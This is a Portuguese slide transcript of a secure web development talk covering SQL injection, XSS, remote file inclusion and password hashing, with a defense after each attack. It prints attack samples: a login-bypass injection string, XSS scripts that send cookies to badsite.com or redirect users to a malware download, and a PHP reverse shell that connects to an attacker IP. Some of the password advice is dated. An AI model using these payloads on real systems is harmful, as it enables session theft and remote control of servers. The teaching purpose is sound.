FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB

Quem sou eu? - Formado em Análise e Desenvolvimento de Sistemas UNIP - Analista de Segurança da Informação - Começou a desenvolver em PHP em 2003 - Começou atuação na área de Segurança em 2007 - Colaboração em projetos OpenSource

Agenda - Motivação - O que é Segurança da Informação - Pilares da Segurança da Informação - Estratégias de Segurança - Verdades sobre a Segurança da Informação - Vulnerabilidades em Aplicações WEB - Dica FIEO (Filter Input, Escape Output) - SQL Injection - XSS – Cross-Site Scripting - Execução maliciosa de arquivo (remote file include, local file include) - Dica: Armazenamento de senhas de login

Motivação "70% of websites at immediate risk of being hacked!" - Accunetix – Jan 2007 http://www.acunetix.com/news/security-audit-results.htm "8 out of 10 websites vulnerable to attack" - WhiteHat “security report – Nov 2006” https://whitehatsec.market2lead.com/go/whitehatsec/webappstats1106 "80% of network attacks target web-based systems" Fonte: http://www.net-security.org/secworld.php?id=9880 "75% of attacks happen at the application layer" - Gartner "64% of developers are not confident that they write secure code" - Microsoft Developer Research

Segurança se.gu.ran.ça sf (seguro+ança) 1 Ato ou efeito de segurar; seguração. 2 Estado do que se acha seguro; garantia. 3 Proteção: Os abrigos antiaéreos não oferecem segurança contra bombas atômicas. 4 Certeza, confiança, firmeza, infalibilidade. Fonte: Dicionário Michaelis O que é Segurança da Informação? Informação É um conjunto de dados (numeros, medidas, quantidades, valores) que inseridos em um contexto passam a ter um significado.

Segurança da Informação está relacionada com proteção de um conjunto de dados, no sentido de preservar o valor que possuem para um indivíduo ou uma organização. O que é Segurança da Informação?

Pilares da Segurança da Informação - Confidencialidade Algo confidencial quer dizer que somente determinadas pessoas devem saber, deve-se proteger contra acesso não autorizado. - Integridade Uma informação íntegra quer dizer que não foi alterada por outrem e se mantém em seu estado original. Deve-se garantir um armazenamento seguro. - Disponibilidade A informação deve estar disponível para ser acessada a qualquer momento para os que dela necessitam. Também conhecido como “Continuidade de Negócios”.

Estratégias de Segurança - Least Privilege (privilégio mínimo) Dar privilégio apenas para o que é necessário. - Defense in Depth (defesa em profundidade) Aplicar vários níveis de segurança - Choke Point (canal estreito) Poucas portas de entrada/saída - Weakest Link (elo mais fraco) Ponto mais frágil em determinado segmento - Fail Safe (falha segura) Planejar para falhar de forma segura - Security Through Obscurity (Segurança por Obscuridade) Esconder-se para não se tornar alvo - Diversity of Defense (Diversidade de Defesa) Significa possuir técnologias e equipamentos diferentes - KISS: Keep It Simple Stupid (simplicidade) Simplicidade remete a um maior controle do sistema/rede

“ Não existe segurança 100%” Verdades sobre Segurança da Informação? Exemplo de Segurança em Camadas!

Verdades sobre Segurança da Informação? “ Segurança é um processo e não é um produto” (Bruce Schneier) Segurança da Informação Instalando esse DVD tudo se tornará seguro!

Verdades sobre Segurança da Informação? “ Enquanto 1 defende, 10 te atacam” Foi gol ou incidente?

Verdades sobre Segurança da Informação? “ A segurança é dinâmica! Atualize-se”

Vulnerabilidades em Aplicações WEB - SQL Injection - XSS: Cross-Site Scripting - Execução maliciosa de arquivo - Dica: armazenamento de senhas de login

Arquitetura de uma aplicação WEB Cliente Web Site Internet Banco de Dados Firewall

Filter Input, Escape Output Em Processamento de Dados temos: ' Entrada Processamento Saída

Filter Input, Escape Output Em Processamento de Dados temos: Com foco em Segurança temos: ' Entrada Processamento Saída Entrada Processamento Saída Filtro Escape

SQL Injection Ocorre quando um atacante envia comandos SQL junto com os dados que são interpretados pelo sistema, alterando o contexto original da consulta para benefício do atacante. Impacto: - Vazamento de Informação - Acesso irrestrito aos dados - Permite exibir arquivos acessíveis no SGBD - Permite criar arquivos no sistema de arquivos do SGBD - O que for possível com insert, update, delete e funções nativas do SGBD em questão. - Exploração de outras vulnerabilidades - Dependendo do caso... “O céu é o limite”

SQL Injection Como acontece? Os dados não são filtrados/validados antes de serem processados! Exemplo de código malicioso (PHP) <?php $user = $_POST[“ username ”]; $passwd = $_POST[“ password ”]; $consulta = “ SELECT * FROM users WHERE username=' ”. $user .“ ' AND passwd=' “. $passwd . ”'”; /* … */ ?> Em um caso de uso comum, se o usuário entrar com username ADMIN e password 1234 a consulta seria processada da seguinte forma: SELECT * FROM username='ADMIN' AND passwd='1234' Caso o usuário e senha existam e sejam correspondentes um ao outro no banco de dados, será retornado o registro do usuário e a validação será feita.

SQL Injection Ao ataque! Como fazer para ter acesso a área restrita?

SQL Injection Ao entrar com o username: ' OR 1=1/* Estamos forçando ao banco de dados sempre retornar “verdadeiro”. O resultado da string de consulta seria o seguinte: SELECT * FROM users WHERE username=' ' OR 1=1/* ' AND passwd='' Por fim a consulta que será executada no banco de dados é: SELECT * FROM users WHERE username='' OR 1=1 /*' AND passwd=''

SQL Injection Como se proteger? – Utilizando uma camada de abstração de dados segura. Ex.: Doctrine,Zend_DB -> PHP Hibernate -> Java ADO.NET,Linq -> .NET - Escapando os caracteres de controle do SGBD Ref: http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet No caso do código anterior, utilizando o comando mysql_real_escape_string para “escapar” os caraceres de controle: <?php $user = mysql_real_escape_string ($_POST[“ username ”]); $passwd = mysql_real_escape_string ($_POST[“ password ”]); $consulta = “ SELECT * FROM users WHERE username=' ”. $user .“ ' AND passwd=' “. $passwd . ”'”; /* … */ ?>

XSS: Cross-Site Scripting Acontece quando a aplicação não trata a saída de dados contaminados que foram enviados anteriormente por um atacante. Impacto - Deface - Redirect para código/site malicioso - Phishing

XSS: Cross-Site Scripting Como acontece? Imagine um blog onde o programador não filtrou o texto recebido no comentário de um post. Uma pessoa mal-intencionada pode usar o comentário para escrever código HTML/Javascript malicioso, pois o mesmo será executado quando outros abrirem o post no browser. Ex.: Roubo de Sessão com Ajax (exemplo no FF) <script type=”text/javascript”> var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", “http://badsite.com/getcookie.php?cookie=”+document.cookie()); xmlhttp.send(null); </script> Redirect para malware <script type=”text/javascript”> window.location=”http://badsite.com/atualizacao_bancaria.exe”; </script>

XSS: Cross-Site Scripting - Exemplo Fonte: www.zone-h.com

XSS: Cross-Site Scripting Como evitar? - Deve-se validar a entrada substituindo as “entidades html” pelos seus respectivos códigos. Ref.: http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet Exemplo: Input do usuário: <a href=” http://badsite.com ”>Click-me</a> Saída após convertido: <a href="http://badsite.com">Click-me</a> Dessa forma o browser exibe apenas o texto, ele não renderiza o link.

Execução Maliciosa de Arquivo Ocorre quando o atacante consegue manipular alguma entrada de dados para injetar código malicioso e depois executá-lo no contexto do WebServer. Impacto - Executar código do lado do servidor - Instalação de backdoors - Dependendo do caso... “o céu é o limite”

Execução Maliciosa de Arquivo Como acontece? Exemplo de página vulnerável: www.site.com/index.php?pag=produtos A página index.php recebe como parâmetro o arquivo que deve ser carregado como conteúdo.  <html> <head><title>Site</title></head> <body> <h1>Titulo</h1> <ul id=”navbar”> <li>Home</li> <li>Produtos</li> <li>Perfil</li> </ul> <div id=”conteudo”> <?php include $_GET[ “pag” ] . “.php” ; ?> </div> </body> </html>

Execução Maliciosa de Arquivo Podemos passar no parâmetro “pag” um endereço de arquivo malicioso externo que será executado no servidor vulnerável: www.site.com/index.php?pag= http://badsite.com/backdoor Com isso, o servidor vulnerável irá se conectar ao IP do atacante e ele terá acesso ao shell do server. Owned! <?php //arquivo http://badsite.com/backdoor.php $sock = socket_create( AF_INET , SOCK_STREAM , SOL_TCP ); $result = socket_connect( $sock , "IP_ATACANTE" , "30000" ); socket_write( $sock , "Ok manda balann" , 15); while ( $out = socket_read( $sock , 4096)) { exec( $out , $cmd ); $cmdresult = implode( "n" , $cmd ) . "nphp: " ; socket_write( $sock , $cmdresult , strlen( $cmdresult )); } socket_close( $sock );

Execução Maliciosa de Arquivo Como se proteger? - Não utilizar referencia direta de parâmetros para manipular arquivos. - Se for preciso, utilize uma boa validação e uma white list dos arquivos que podem ser utilizados - No caso anterior poderiamos utilizar o design pattern FrontController e concentrar a segurança em uma única entrada. (choke point).

Dica: Armazenamento de senhas de login É muito comum encontrar sistemas onde as senhas são armazenadas em clear-text (texto puro). Risco: - O DBA pode ter acesso. - Se um atacante através de SQL Injection descobrir sua senha, ele poderá tentar utilizá-la em outras contas como: Google, Yahoo, Hotmail, Sistemas internos, etc... As senhas devem ser criptografadas utilizando criptografia de via única concatenando com uma chave de sufixo ou prefixo para evitar ataque de força bruta.

Dica: Armazenamento de senhas de login <?php $username = valida_username($_POST[“username”]); $passwd = valida_passwd($_POST[“passwd”]); $passwd = hash('sha256', $chave . $passwd); $consulta = “INSERT INTO users (username,passwd) VALUES ({$username},{$passwd})”; /* ... */ ?> Quando for validar utilizar <?php $username = valida_username($_POST[“username”]); $passwd = valida_passwd($_POST[“passwd”]); $passwd = hash('sha256', $chave . $passwd); $user = Doctrine::getTable('users')->retrieveByUsername($username); If ($user->checkPassword($password)) { /* ... autentica */ } /* ... */ ?>

OWASP www.owasp.org

... Perguntas?? Erick Belluci Tedeschi - @ericktedeschi http://oerick.com Email: [email_address] http://www.linkedin.com/in/ericktedeschi

FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB

by erickt86 on Jan 27, 2012

Accessibility

Tags

Upload Details

Usage Rights

1 Embed 233

Statistics

FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB — Presentation Transcript